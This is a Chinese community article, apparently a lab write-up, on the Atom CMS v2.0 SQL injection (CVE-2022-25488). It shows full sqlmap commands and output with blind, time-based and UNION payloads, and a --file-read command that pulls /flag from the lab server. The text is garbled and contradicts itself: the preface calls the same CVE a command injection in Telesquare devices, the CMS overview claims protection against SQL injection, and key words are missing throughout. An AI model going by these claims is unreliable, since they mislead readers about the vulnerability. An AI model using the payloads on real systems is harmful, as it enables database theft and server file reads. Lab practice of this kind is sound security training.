AI 助理
备案控制台
开发者社区 安全 文章 正文

Atom CMS v2.0 SQL 注入（CVE-2022-25488）

2024-07-12 53
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
本文涉及的产品
RDS MySQL Serverless 基础系列，0.5-2RCU 50GB
推荐场景：
学生管理系统数据库设计 搭建个人博客
云数据库 RDS MySQL，集群系列 2核4GB
推荐场景：
搭建个人博客
云数据库 RDS MySQL，高可用系列 2核4GB
简介： Atom CMS v2.0 SQL 注入（CVE-2022-25488）

前言

CVE-2022-25488 是一个发现于 Telesquare SDT-CW3B1 设备中的命令注入。这一可以被未经认证的远程利用，通过特殊构造的 HTTP 请求在设备上执行任意命令。以下是关于该的详细信息：

详细信息

编号: CVE-2022-25488

影响范围: Telesquare SDT-CW3B1 设备的特定版本

描述: 该是由于输入处理不当造成的，可以通过在 HTTP 请求中注入恶意命令来利用这一。这些命令将在设备的操作系统中执行，可能导致设备完全被控制。

向量: 远程，未经认证的可以通过网络利用此。

攻击步骤

发送恶意 HTTP 请求: 构造一个特定的 HTTP 请求，包含恶意命令。

命令注入: 由于设备在处理请求时未正确验证输入，恶意命令被注入并在设备上执行。

控制设备: 成功利用后，可以在设备上执行任意命令，可能导致数据泄露、设备中断或进一步的网络。

影响

机密性: 高。可以访问和泄露设备上的敏感数据。

完整性: 高。可以修改或破坏设备上的数据。

可用性: 高。可以使设备无法正常工作。

缓解措施

固件更新: 制造商发布补丁或固件更新以修复此。用户应及时更新设备固件。

网络安全措施: 在网络边界实施防火墙和入侵检测系统，监控和阻止可疑的网络流量。

输入验证: 开发人员应确保在处理用户输入时进行严格的验证和过滤，防止命令注入。

最小权限原则: 设备应配置为仅允许必要的权限，减少被利用的风险。

总结

CVE-2022-25488 是一个严重的命令注入，攻击者可以通过网络远程利用该，在受影响的 Telesquare SDT-CW3B1 设备上执行任意命令。用户应尽快采取措施，更新设备固件并实施必要的安全防护措施，以防止潜在的。

春秋云镜是一个专注于网络安全培训和实战演练的平台，旨在通过模拟真实的网络环境和场景，提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点：


实战演练：


提供各种网络安全攻防演练场景，模拟真实的网络事件，帮助用户在实际操作中掌握网络安全技术。

场景涵盖Web安全、系统安全、网络安全、社工等多个领域。


复现：


用户可以通过平台对已知的安全进行复现，了解的产生原因、利用方法和修复措施。

通过实战操作，帮助用户掌握利用和防护的技能。


教学培训：


提供系统化的网络安全课程，从基础到高级，覆盖多个安全领域，适合不同水平的用户。

包含理论讲解和实战操作，帮助学员全面提升网络安全知识和实战能力。


竞赛与评测：


定期举办网络安全竞赛，如CTF（Capture The Flag）比赛，激发学员的学习兴趣和动力。提供个人和团队的安全能力评测，帮助学员了解自己的安全技能水平。


资源共享：


平台提供丰富的学习资源，包括教程、工具、案例分析等，方便用户随时查阅和学习。

用户可以在社区中分享经验和资源，互相交流和学习。


春秋云镜适合网络安全从业人员、学生以及对网络安全感兴趣的个人，通过在平台上进行不断的学习和实战演练，可以有效提升网络安全技能和防护能力。


介绍

Atom CMS v2.0 是一款内容管理系统，用于创建和管理网站内容。以下是关于 Atom CMS v2.0 的详细介绍：

概述

Atom CMS v2.0 是一个开源的内容管理系统，采用 PHP 和 MySQL 构建，旨在提供一个简单易用的平台，用于网站内容的创建、编辑和管理。该系统主要面向小型网站和博客，提供了丰富的功能以满足基本的内容管理需求。

主要功能

  1. 用户管理：
  • 支持用户注册和登录。
  • 角色和权限管理，区分管理员和普通用户。
  • 用户资料编辑和密码管理。
  1. 文章管理：
  • 创建、编辑和删除文章。
  • 支持文章分类和标签。
  • 支持富文本编辑器，便于格式化内容。
  1. 媒体管理：
  • 上传和管理图片、视频等多媒体文件。
  • 支持媒体文件的插入和删除。
  1. 评论系统：
  • 用户可以对文章进行评论。
  • 管理员可以审核和删除不当评论。
  1. SEO 优化：
  • 自定义文章的标题、描述和关键词。
  • 自动生成友好的 URL。
  1. 主题和插件：
  • 支持自定义主题，用户可以根据需要更改网站的外观。
  • 支持插件扩展功能，增加系统的灵活性。

安全特性

  • 输入验证：对用户输入进行严格验证，防止 SQL 注入和跨站脚本（XSS）。
  • 密码加密：用户密码采用加密存储，提高账户安全性。
  • 权限控制：细粒度的权限控制，确保用户只能访问授权的资源。

使用场景

  • 个人博客：适合个人博客的创建和管理，提供基本的文章发布和评论功能。
  • 小型企业网站：适合小型企业展示产品和服务，提供简单的内容管理功能。
  • 教育网站：适合教育机构发布课程信息和新闻公告。

安装和配置

  1. 下载源码：从官方网站或 GitHub 下载最新版本的 Atom CMS v2.0 源码。
  2. 环境配置：确保服务器环境支持 PHP 和 MySQL，推荐使用 Apache 或 Nginx 服务器。
  3. 数据库配置：创建 MySQL 数据库，并导入初始数据表。
  4. 配置文件：修改配置文件，设置数据库连接信息和基本站点信息。
  5. 安装向导：通过浏览器访问安装向导，完成系统安装。

复现

打开

直接访问则是 404

跟上题目的路径查看却是空白

删除 avatar.php 文件发现能看到整个目录

查看其他文件得到报错信息

得到一个参数 id，使用 SQLMap 跟上试试

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1"
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 20:34:46 /2024-06-30/
[20:34:47] [INFO] testing connection to the target URL
[20:34:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:34:47] [INFO] testing if the target URL content is stable
[20:34:47] [INFO] target URL content is stable
[20:34:47] [INFO] testing if GET parameter 'id' is dynamic
[20:34:47] [INFO] GET parameter 'id' appears to be dynamic
[20:34:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[20:34:47] [INFO] testing for SQL injection on GET parameter 'id'
[20:34:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:34:48] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[20:34:49] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[20:34:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:34:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:34:52] [INFO] testing 'Generic inline queries'
[20:34:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:34:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:34:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:35:03] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[20:35:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:35:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:35:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:35:03] [INFO] target URL appears to have 1 column in query
[20:35:03] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 4748=4748
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:35:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:35:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'
[*] ending @ 20:35:05 /2024-06-30/

很好，接下来就是熟悉的找 flag 了

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1" -D "mysql" --file-read "/flag"
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 20:39:30 /2024-06-30/
 
[20:39:30] [INFO] resuming back-end DBMS 'mysql' 
[20:39:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 4748=4748
 
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:39:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:39:30] [INFO] fingerprinting the back-end DBMS operating system
[20:39:30] [INFO] the back-end DBMS operating system is Linux
[20:39:30] [INFO] fetching file: '/flag'
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] n
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag
 
[20:39:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'
 
[*] ending @ 20:39:32 /2024-06-30/
 
                                                                                                                                    
┌──(root㉿kali)-[~]
└─# cat /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag
flag{810e4de0-b64a-4124-bddf-3554d6e60d15}

文章标签：
弹性容器实例
云数据库 RDS MySQL 版
网络安全
安全
数据安全/隐私保护
SQL
关系型数据库
关键词：
SQL注入
cms SQL
atom cms SQL
cms SQL注入
相关实践学习
基于ACK Serverless轻松部署企业级Stable Diffusion
本实验指导您在容器服务Serverless版（以下简称 ACK Serverless ）中，通过Knative部署满足企业级弹性需求的Stable Diffusion服务。同时通过对该服务进行压测实验，体验ACK Serverless 弹性能力。
Kubernetes极速入门
Kubernetes(K8S)是Google在2014年发布的一个开源项目，用于自动化容器化应用程序的部署、扩展和管理。Kubernetes通常结合docker容器工作，并且整合多个运行着docker容器的主机集群。 本课程从Kubernetes的简介、功能、架构，集群的概念、工具及部署等各个方面进行了详细的讲解及展示，通过对本课程的学习，可以对Kubernetes有一个较为全面的认识，并初步掌握Kubernetes相关的安装部署及使用技巧。本课程由黑马程序员提供。   相关的阿里云产品：容器服务 ACK 容器服务 Kubernetes 版（简称 ACK）提供高性能可伸缩的容器应用管理能力，支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力，打造云端最佳容器化应用运行环境。 了解产品详情: https://www.aliyun.com/product/kubernetes
香甜可口草莓蛋糕
目录
相关文章
东方睿赢
|
3月前
|
SQL 安全 数据库
惊！Python Web安全黑洞大曝光：SQL注入、XSS、CSRF，你中招了吗？
在数字化时代，Web应用的安全性至关重要。许多Python开发者在追求功能时，常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践：使用参数化查询预防SQL注入；通过HTML转义阻止XSS攻击；在表单中加入CSRF令牌增强安全性。遵循这些方法，可有效提升Web应用的安全防护水平，保护用户数据与隐私。安全需持续关注与改进，每个细节都至关重要。
东方睿赢
135 5
众所周知
|
3月前
|
SQL 安全 数据库
深度揭秘：Python Web安全攻防战，SQL注入、XSS、CSRF一网打尽！
在Web开发领域，Python虽强大灵活，却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段，并提供示例代码，展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线，确保Python Web应用的安全性。安全之路永无止境，唯有不断改进方能应对挑战。
众所周知
72 5
众所周知
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战：面对SQL注入、XSS、CSRF，你准备好了吗？
在构建Python Web应用时，安全性至关重要。本文通过三个真实案例，探讨了如何防范SQL注入、XSS和CSRF攻击。首先，通过参数化查询替代字符串拼接，防止SQL注入；其次，利用HTML转义机制，避免XSS攻击；最后，采用CSRF令牌验证，保护用户免受CSRF攻击。这些策略能显著增强应用的安全性，帮助开发者应对复杂的网络威胁。安全是一个持续的过程，需不断学习新知识以抵御不断变化的威胁。
众所周知
123 1
东方睿赢
|
3月前
|
SQL 安全 数据库
Python Web开发者必看！SQL注入、XSS、CSRF全面解析，守护你的网站安全！
在Python Web开发中，构建安全应用至关重要。本文通过问答形式，详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF，并提供了实用的防御策略及示例代码。针对SQL注入，建议使用参数化查询；对于XSS，需对输出进行HTML编码；而防范CSRF，则应利用CSRF令牌。通过这些措施，帮助开发者有效提升应用安全性，确保网站稳定运行。
东方睿赢
48 1
众所周知
|
3月前
|
SQL 安全 数据库
深度揭秘：Python Web安全攻防战，SQL注入、XSS、CSRF一网打尽！
在Web开发领域，Python虽强大灵活，但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁：SQL注入、XSS及CSRF，并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线，助您打造更安全的应用。安全是一场持久战，需不断改进优化。
众所周知
52 3
龙大吉
|
3月前
|
SQL 安全 数据库
从入门到精通：Python Web安全守护指南，SQL注入、XSS、CSRF全防御！
【9月更文挑战第13天】在开发Python Web应用时，安全性至关重要。本文通过问答形式，详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术，确保应用安全。附带示例代码，帮助读者从入门到精通Python Web安全。
龙大吉
93 6
龙大吉
|
3月前
|
SQL 安全 JavaScript
告别Web安全小白！Python实战指南：抵御SQL注入、XSS、CSRF的秘密武器！
【9月更文挑战第12天】在Web开发中，安全漏洞如同暗礁，尤其对初学者而言，SQL注入、跨站脚本（XSS）和跨站请求伪造（CSRF）是常见挑战。本文通过实战案例，展示如何利用Python应对这些威胁。首先，通过参数化查询防止SQL注入；其次，借助Jinja2模板引擎自动转义机制抵御XSS攻击；最后，使用Flask-WTF库生成和验证CSRF令牌，确保转账功能安全。掌握这些技巧，助你构建更安全的Web应用。
龙大吉
52 5
众所周知
|
5月前
|
SQL 安全 数据库
深度揭秘：Python Web安全攻防战，SQL注入、XSS、CSRF一网打尽！
【7月更文挑战第27天】在 Web 开发中，Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
众所周知
71 0
东方睿赢
|
5月前
|
SQL 安全 数据库
Python Web开发者必看！SQL注入、XSS、CSRF全面解析，守护你的网站安全！
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
东方睿赢
71 0
龙大吉
|
5月前
|
SQL 安全 JavaScript
告别Web安全小白！Python实战指南：抵御SQL注入、XSS、CSRF的秘密武器！
【7月更文挑战第27天】在 Web 开发中，安全漏洞如同暗礁，其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
龙大吉
65 0

热门文章

最新文章

  • 1
    SQL0286N. DB2表空间的pagesize问题
  • 2
    PostgreSQL SQL HINT的使用
  • 3
    sql语句查询数据库表结构信息
  • 4
    SQL中几个快速定位语句
  • 5
    利用Command创建执行SQL语句的模块
  • 6
    Oracle存储过程（while循环、for循环、if判断、sql拼接、游标）
  • 7
    SQL Server 索引列的顺序——真的没关系吗
  • 8
    HMS v1.0 appointment.php editid参数 SQL注入漏洞（CVE-2022-25491）
  • 9
    SQL Server技术问题之视图优缺点
  • 10
    SQLServer 使用 @@ERROR
  • 1
    SQL脚本利用带关联子查询Update语句更新数据
    129
  • 2
    SQL脚本把多行SQL数据变成一条多列数据
    113
  • 3
    mybatis动态sql
    43
  • 4
    基于若依的ruoyi-nbcio流程管理系统修改代码生成的sql菜单id修改成递增id（谨慎修改，大并发分布式有弊端）
    101
  • 5
    SQL脚本字符串替换
    70
  • 6
    你写的每条SQL都是全表扫描吗
    182
  • 7
    数据库SQL语言实战（六）
    49
  • 8
    数据库SQL语言实战（五）(数据库系统概念第三章练习题）
    44
  • 9
    数据库SQL语言实战（四）(数据库系统概念第三章练习题）
    49
  • 10
    数据库SQL语言实战（三）
    48

    • 相关课程

    更多
  • 如何在 PolarDB-X 中优化慢 SQL
  • SQL完全自学手册
  • SQL Server on Linux入门教程
  • SQL入门与实践
  • 数据库及SQL/MySQL基础
  • SQL进阶及查询

    • 相关电子书

    更多
  • SQL Server 2017
  • GeoMesa on Spark SQL
  • 原生SQL on Hadoop引擎- Apache HAWQ 2.x最新技术解密malili

    • 相关实验场景

    更多
  • PolarDB for AI：在数据库中通过SQL实现AI能力
  • 玩转MaxCompute SQL! 30分钟搞定数据分析挖掘
  • 使用SQL语句实现数据表管理
  • 使用SQL语句实现数据插入、修改和删除操作
  • 使用SQL语句实现数据查询操作
  • 使用SQL语句管理索引
    • 下一篇
    阿里云无影云电脑免费试用，最长可试用3个月